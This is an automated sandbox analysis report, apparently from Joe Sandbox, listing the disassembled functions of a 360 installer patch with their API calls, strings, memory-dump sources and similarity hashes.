Opcode Fuzzy Hash: 706c04d091765467f2b2c23c35a14ea14f08f7078e6257773236ce710ead4d6a
Instruction Fuzzy Hash: 9971B773904649AFDB24CF64C8919DEB3F8FF04314F50852AE616D62B0EB78A644CF51

Function 00B48C9F Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 150COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00B48CA6

Part of subcall function 00B572A6: __EH_prolog3.LIBCMT ref: 00B572C5
Part of subcall function 00B572A6: _memset.LIBCMT ref: 00B572EC

Part of subcall function 00B573D5: __EH_prolog3.LIBCMT ref: 00B573F4
Part of subcall function 00B573D5: _memset.LIBCMT ref: 00B57422

InterlockedExchange.KERNEL32(?,00003001), ref: 00B48E38

Part of subcall function 00B2AFB8: __EH_prolog3.LIBCMT ref: 00B2AFBF

Strings

.dir, xrefs: 00B48CE8
\custom_wnd.ini, xrefs: 00B48DB8
\Setup.ini, xrefs: 00B48D1D
360Installer, xrefs: 00B48D6B

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: H_prolog3$_memset$ExchangeInterlocked
String ID: .dir$360Installer$\Setup.ini$\custom_wnd.ini
API String ID: 3606139519-1812597268
Opcode ID: 9ee57938275ea3fd7e654f3a843f89af7be894d12132eb973d743433cff2df91
Instruction ID: accdb56b60a6b6222bc59d527d20ff32ff92c27d93bb57628657b030895beab2
Opcode Fuzzy Hash: 9ee57938275ea3fd7e654f3a843f89af7be894d12132eb973d743433cff2df91
Instruction Fuzzy Hash: 47518C71900249ABCB04EBE4D896EFEB7F8AF15300F1405A9F126A72D2DF745A48DB61

Function 6BF17A33 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 136COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6BF17A3A
GetTickCount.KERNEL32 ref: 6BF17A8E
GetTickCount.KERNEL32 ref: 6BF17A96
GetTickCount.KERNEL32 ref: 6BF17B62

Strings

[%d.%3d] Connecting to %s:%d, xrefs: 6BF17BDA
[%d.%3d] %s(%s) Connecting to %s:%d, xrefs: 6BF17B2B

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$H_prolog3
String ID: [%d.%3d] %s(%s) Connecting to %s:%d$[%d.%3d] Connecting to %s:%d
API String ID: 49165580-3150661452
Opcode ID: 5db5036f2b47b2ad1c9616e390f94c1a965d08b054cc27b229220d00e94ee7fd
Instruction ID: cdb79e9543d65b7b2fdc19e97bd8c1e4b581197a1e1141fd70bb243783566c36
Opcode Fuzzy Hash: 5db5036f2b47b2ad1c9616e390f94c1a965d08b054cc27b229220d00e94ee7fd
Instruction Fuzzy Hash: E151CFB2204601DFD714CFB4C985BAAB7E9FF44704F14885DE45A8B2B0EB78E980CB61

Function 6BF53030 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 123stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BF5307C
SHGetValueA.SHLWAPI(80000002,Software\360Safe\Liveup,mid,?,?,?,?,00000400), ref: 6BF530A5
_memset.LIBCMT ref: 6BF53152
lstrcmpiA.KERNEL32(?,?), ref: 6BF5317A

Strings

mid, xrefs: 6BF53096
Software\360Safe\Liveup, xrefs: 6BF5309B

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: _memset$Valuelstrcmpi
String ID: Software\360Safe\Liveup$mid
API String ID: 999496690-2395435937
Opcode ID: ea35972ed17e5cf134bf2ffe6ea7a0a253abfb85cdf437dad52cd97dde84df6c
Instruction ID: bb3a2ad7afd50df2f971487ce19895dcb5610fc2693a22f69b35152a78eb3ca7
Opcode Fuzzy Hash: ea35972ed17e5cf134bf2ffe6ea7a0a253abfb85cdf437dad52cd97dde84df6c
Instruction Fuzzy Hash: 5841D4739083898BE335CB38C851BFB77E8AFA5708F04499DD58A87150E7399519CBA2

Function 6BF3074A Relevance: 10.6, APIs: 7, Instructions: 106networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(0000276D,?,?,?,?,?,?,?), ref: 6BF30772
socket.WS2_32(00000002,?,00000000), ref: 6BF307B5
WSAGetLastError.WS2_32(?,?,?,?,?,?,?), ref: 6BF307C0

Part of subcall function 6BF304A4: WSAAsyncSelect.WS2_32(?,00000000,?,?), ref: 6BF304C4

WSAGetLastError.WS2_32(?,00000010,?,00000000,?,?,?,?,?,?,?), ref: 6BF307E4
WSAAsyncSelect.WS2_32(?,00000000,?,0000003F), ref: 6BF30811
htonl.WS2_32(00000000), ref: 6BF3082C
htons.WS2_32(?), ref: 6BF30838

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: ErrorLast$AsyncSelect$htonlhtonssocket
String ID:
API String ID: 3031483187-0
Opcode ID: 0500960952f9bc04e8f84c1184957ba49db5efa24788b4058726a94e638f31ad
Instruction ID: 23c716a1b272c044a484a7d7fe124960b9e68a335df196d627da9adfbdb8f372
Opcode Fuzzy Hash: 0500960952f9bc04e8f84c1184957ba49db5efa24788b4058726a94e638f31ad
Instruction Fuzzy Hash: 2D31DE33610715ABDB109F78C849BAE77B9AF49B60B10096BE956D62B0D7B8C9008BD0

Function 6BF1C2C7 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

MSCF, xrefs: 6BF1C34D, 6BF1C352, 6BF1C3B0, 6BF1C3DB, 6BF1C3DC

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CriticalSection$EnterH_prolog3Leave
String ID: MSCF
API String ID: 4250467438-1646999414
Opcode ID: 3aa7a19d6911f8041bbb8bf5f65d943ea2981a46a3aea25bb6789a0ec0fe896b
Instruction ID: 85ad3bb0a19dee39523c75c66c6008c6b5aba3526d3b9e3fa7c4a13d8815996e
Opcode Fuzzy Hash: 3aa7a19d6911f8041bbb8bf5f65d943ea2981a46a3aea25bb6789a0ec0fe896b
Instruction Fuzzy Hash: 6631353350C601DBC2249B7998816ABB3E5EF82728F100C7ED46A8B2B0CF3D94568652

Function 6BEE8270 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 86COMMON

Download Yara Rule

APIs

GetFileSizeEx.KERNEL32(?,00000000), ref: 6BEE82A2

Strings

[%d.] DiskFile set file valid data failed file:%s %d, xrefs: 6BEE833A

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: FileSize
String ID: [%d.] DiskFile set file valid data failed file:%s %d
API String ID: 3433856609-2029010613
Opcode ID: b583d05743ed98ae39d234385aed6081dacc230810032c988c3c820775cf2054
Instruction ID: 14ad9dec95c0980a3c3061b3aa68359c381e894295b25ad80f289f8e3d678e17
Opcode Fuzzy Hash: b583d05743ed98ae39d234385aed6081dacc230810032c988c3c820775cf2054
Instruction Fuzzy Hash: 8D219672524600EFDB408B74CC44B6F77B9FF1672AF644559E412D2650D778E916CB30

Function 6BEFB15A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 83COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6BEFB199
GetFileVersionInfoSizeW.VERSION(?,?,?,?,?,?,00000000,000007FE,?), ref: 6BEFB1D8
GetFileVersionInfoW.VERSION(000007FE,00000000,00000000,?,?,?,?,?,?,?,00000000,000007FE,?), ref: 6BEFB1F3
VerQueryValueW.VERSION(?,6BF6419C,?,?,000007FE,00000000,00000000,?,?,?,?,?,?,?,00000000,000007FE), ref: 6BEFB216

Strings

%d.%d.%d.%d, xrefs: 6BEFB239
%s\%s, xrefs: 6BEFB1BC

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: FileInfoVersion$QuerySizeValue_memset
String ID: %d.%d.%d.%d$%s\%s
API String ID: 3017621270-4009587522
Opcode ID: a9ed79ab9e72ff2a09bd5e5a041c0fb13cfa45c8dfb6a85bbcda311f82d22dc6
Instruction ID: 4dfd75b6a11827daff6ebddcbc27e3a53b2882b7b2eaa4682bf7c05d77bab295
Opcode Fuzzy Hash: a9ed79ab9e72ff2a09bd5e5a041c0fb13cfa45c8dfb6a85bbcda311f82d22dc6
Instruction Fuzzy Hash: CE2194B2910158EAEB50DB78CC45EAE73ECAF05604F1084A6BA05D7151EB7CDA858BB4

Function 00B64A8C Relevance: 10.6, APIs: 7, Instructions: 74COMMON

Download Yara Rule

APIs

GetClientRect.USER32(00000005,?), ref: 00B64AAC
MoveWindow.USER32(?,?,00000104,000000AF,00000050,00000001,?,00000000,?,00B48E02,00000000,?,?,360Installer,00000000), ref: 00B64AE4
MoveWindow.USER32(?,?,000000CE,000000AF,00000050,00000001,?,00000000,?,00B48E02,00000000,?,?,360Installer,00000000), ref: 00B64B04
ShowWindow.USER32(?,00000000,?,00000000,?,00B48E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 00B64B17
DestroyWindow.USER32(?,?,00000000,?,00B48E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 00B64B2E
ShowWindow.USER32(?,00000000,?,00000000,?,00B48E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 00B64B3B
ShowWindow.USER32(?,00000001,?,00000000,?,00B48E02,00000000,?,?,360Installer,00000000,?,.dir,?), ref: 00B64B47

Part of subcall function 00B558F3: __EH_prolog3.LIBCMT ref: 00B558FA

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: Window$Show$Move$ClientDestroyH_prolog3Rect
String ID:
API String ID: 1342398966-0
Opcode ID: 0eb58cb2262df3ee31ab368f7b98e398b6da074eaeb7fe4cc93906a1a4f94edd
Instruction ID: ea919e19fd065919afddd088ee9186fa4a62badcea2d51068aa07a791363a906
Opcode Fuzzy Hash: 0eb58cb2262df3ee31ab368f7b98e398b6da074eaeb7fe4cc93906a1a4f94edd
Instruction Fuzzy Hash: B2219076600615ABDB106FB8DC85FEF7BBABF48305F040968B666D2191DBB5A9008B50

Function 00B9EA8C Relevance: 10.6, APIs: 7, Instructions: 71threadCOMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 00B9EABD
__calloc_crt.LIBCMT ref: 00B9EAC9
__getptd.LIBCMT ref: 00B9EAD6
__initptd.LIBCMT ref: 00B9EADF
CreateThread.KERNEL32(?,?,00B9EA09,00000000,?,?), ref: 00B9EB0D
GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00B9EB17
__dosmaperr.LIBCMT ref: 00B9EB2F

Part of subcall function 00B998D1: __getptd_noexit.LIBCMT ref: 00B998D1

Part of subcall function 00B9A5B1: __decode_pointer.LIBCMT ref: 00B9A5BC

Memory Dump Source

Source File: 00000008.00000002.4114619207.0000000000B11000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000008.00000002.4114543493.0000000000B10000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114884300.0000000000BF3000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114936766.0000000000BF6000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000C00000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.4114994565.0000000000EED000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_b10000_360instpatch.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit__initptd
String ID:
API String ID: 3358092440-0
Opcode ID: d45de10c527af35031536fdd6ea9900224be8c144d0d3a32cad6456e3555661d
Instruction ID: c9731c9f96a7b30c01178fa2160bc653da234b8661dc88e80aa081894435f727
Opcode Fuzzy Hash: d45de10c527af35031536fdd6ea9900224be8c144d0d3a32cad6456e3555661d
Instruction Fuzzy Hash: 7011EC32505209EFDF01EFA89C8689E7BE5FF55320B2000BDF125A30A1EB70E9018AA1

Function 6CDDC60D Relevance: 10.6, APIs: 7, Instructions: 59memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0000000D,?,6CD34437,?,6CD34D1D,00000000,00000000,?,?,6CDA4DB4,?,?,?,?,?), ref: 6CDDC58E
HeapAlloc.KERNEL32(00000000,?,6CD34D1D,00000000,00000000,?,?,6CDA4DB4,?,?,?,?,?,00000001,?,?), ref: 6CDDC595

Part of subcall function 6CDDC4A6: IsProcessorFeaturePresent.KERNEL32(0000000C,6CDDC57C,?,6CD34437,?,6CD34D1D,00000000,00000000,?,?,6CDA4DB4,?,?,?,?,?), ref: 6CDDC4A8

RtlInterlockedPopEntrySList.NTDLL(01637D30), ref: 6CDDC5A2
VirtualAlloc.KERNEL32(00000000,00001000,00001000,00000040,?,6CD34D1D,00000000,00000000,?,?,6CDA4DB4,?,?,?,?,?), ref: 6CDDC5B7
RtlInterlockedPopEntrySList.NTDLL(00000000), ref: 6CDDC5D0
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CD34D1D,00000000,00000000,?,?,6CDA4DB4,?,?,?,?,?,00000001), ref: 6CDDC5E4
RtlInterlockedPushEntrySList.NTDLL(00000000), ref: 6CDDC5FB

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: EntryInterlockedList$AllocHeapVirtual$FeatureFreePresentProcessProcessorPush
String ID:
API String ID: 2304957937-0
Opcode ID: dba07d1116cd93d6fba853acf6bcd436f43d8126583f44a5245e3d0300bea241
Instruction ID: 1901b78941cc0c85674f61f9c753f9ccbc701ec0d52496b0ecbf81e6c4428d1d
Opcode Fuzzy Hash: dba07d1116cd93d6fba853acf6bcd436f43d8126583f44a5245e3d0300bea241
Instruction Fuzzy Hash: A001F932B56210E7EF3167799C08F4A3B79ABC6B15F924024F410E75A0CF32E8008BA4

Function 6CD51C33 Relevance: 9.1, APIs: 6, Instructions: 96threadCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CD51C52
GdiplusStartup.GDIPLUS(?,?,00000000,00000018), ref: 6CD51C74
_memset.LIBCMT ref: 6CD51CBE
GetCurrentDirectoryW.KERNEL32(00000400,00000000), ref: 6CD51CCF
GetCurrentThreadId.KERNEL32 ref: 6CD51D0A
SetWindowsHookExW.USER32(00000003,6CD3D3E5,00000000,00000000), ref: 6CD51D19

Part of subcall function 6CD4537A: __EH_prolog3_catch.LIBCMT ref: 6CD45381

Memory Dump Source

Source File: 00000008.00000002.4120199942.000000006CD21000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6CD20000, based on PE: true

Associated: 00000008.00000002.4120169906.000000006CD20000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120321049.000000006CE29000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE2B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE30000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4B000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120346402.000000006CE4F000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120454362.000000006CE50000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000008.00000002.4120497160.000000006CE56000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6cd20000_360instpatch.jbxd

Similarity

API ID: Current$DirectoryGdiplusH_prolog3H_prolog3_catchHookStartupThreadWindows_memset
String ID:
API String ID: 3120476819-0
Opcode ID: f129faa49bb95a31256f8241988a55f8ebd7381f8e0b4e33a6829968df39c72b
Instruction ID: bf697ba72136b01a7bd6c2420ebde8ec836e133f0e86e1188202f8fceccd61d2
Opcode Fuzzy Hash: f129faa49bb95a31256f8241988a55f8ebd7381f8e0b4e33a6829968df39c72b
Instruction Fuzzy Hash: 6C312CB1A002099FDF44DFA4C985AEDB7F8FF09308F90452EE545D7690DB35AA19CBA0

Function 6BF3AC74 Relevance: 9.1, APIs: 6, Instructions: 71threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 6BF3ACA5
__calloc_crt.LIBCMT ref: 6BF3ACB1
__getptd.LIBCMT ref: 6BF3ACBE
CreateThread.KERNEL32(?,?,6BF3ABF1,00000000,?,?), ref: 6BF3ACF5
GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 6BF3ACFF
__dosmaperr.LIBCMT ref: 6BF3AD17

Part of subcall function 6BF3DC8C: __getptd_noexit.LIBCMT ref: 6BF3DC8C

Part of subcall function 6BF38356: __decode_pointer.LIBCMT ref: 6BF38361

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CreateErrorLastThread___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
String ID:
API String ID: 1803633139-0
Opcode ID: 3fab13a0797fe12cc80585d2f2020f5dd915aa1bdd6a75a24fa024610ac5a3bc
Instruction ID: 3ef6e99f5c6800679647049c14a5901898593fdd221edca140aeaa2e2c7e850c
Opcode Fuzzy Hash: 3fab13a0797fe12cc80585d2f2020f5dd915aa1bdd6a75a24fa024610ac5a3bc
Instruction Fuzzy Hash: 2511CE7351422AAFDF00AFB9DD8289E7BF4EF44368B204469F510D2170EB79D9018BE1

Function 6BF0B2A3 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 165COMMON

Download Yara Rule

APIs

Part of subcall function 6BF0ADFF: __EH_prolog3_GS.LIBCMT ref: 6BF0AE06

GetTickCount.KERNEL32 ref: 6BF0B2F3
GetTickCount.KERNEL32 ref: 6BF0B328

Strings

[%d.] SetFileLen %I64d , xrefs: 6BF0B3DE
[%d.%3d] AllocRange fail , xrefs: 6BF0B455
[%d.%3d] AsyncStartHttp fail ErrorCode = %d(%s), xrefs: 6BF0B495

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF7F000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4119997029.000000006BF85000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120063873.000000006BF8A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120095888.000000006BFCC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.4120132063.000000006BFCF000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_6bee0000_360instpatch.jbxd

Similarity

API ID: CountTick$H_prolog3_
String ID: [%d.%3d] AllocRange fail $[%d.%3d] AsyncStartHttp fail ErrorCode = %d(%s)$[%d.] SetFileLen %I64d
API String ID: 543293942-671058960
Opcode ID: bc1ee1201cec20bc554a43914e5ec9e66f136f72cd1b0f882d8ea8dd98d1c775
Instruction ID: cb06f83cd56c321f096a39656d4fa282b4a052cff7c8699241f9325045f30a32
Opcode Fuzzy Hash: bc1ee1201cec20bc554a43914e5ec9e66f136f72cd1b0f882d8ea8dd98d1c775
Instruction Fuzzy Hash: 7551D476900705DFCB11CFA4C950AAEF7FAFF84314F20499DE452A2232DB79AA41EB51

Function 6BF0ADFF Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 103COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6BF0AE06

Strings

[%d.]No CheckFileMsg FileSize:%I64d , xrefs: 6BF0AE69
[%d.] CheckFile Start , xrefs: 6BF0AEA6
[%d.] Rename start , xrefs: 6BF0AF2F
[%d.] CheckFile p2s Start , xrefs: 6BF0AEEA

Memory Dump Source

Source File: 00000008.00000002.4119900398.000000006BEE1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 6BEE0000, based on PE: true

Associated: 00000008.00000002.4119875025.000000006BEE0000.00000002.00000001.01000000.0000000C.sdmpDownload File
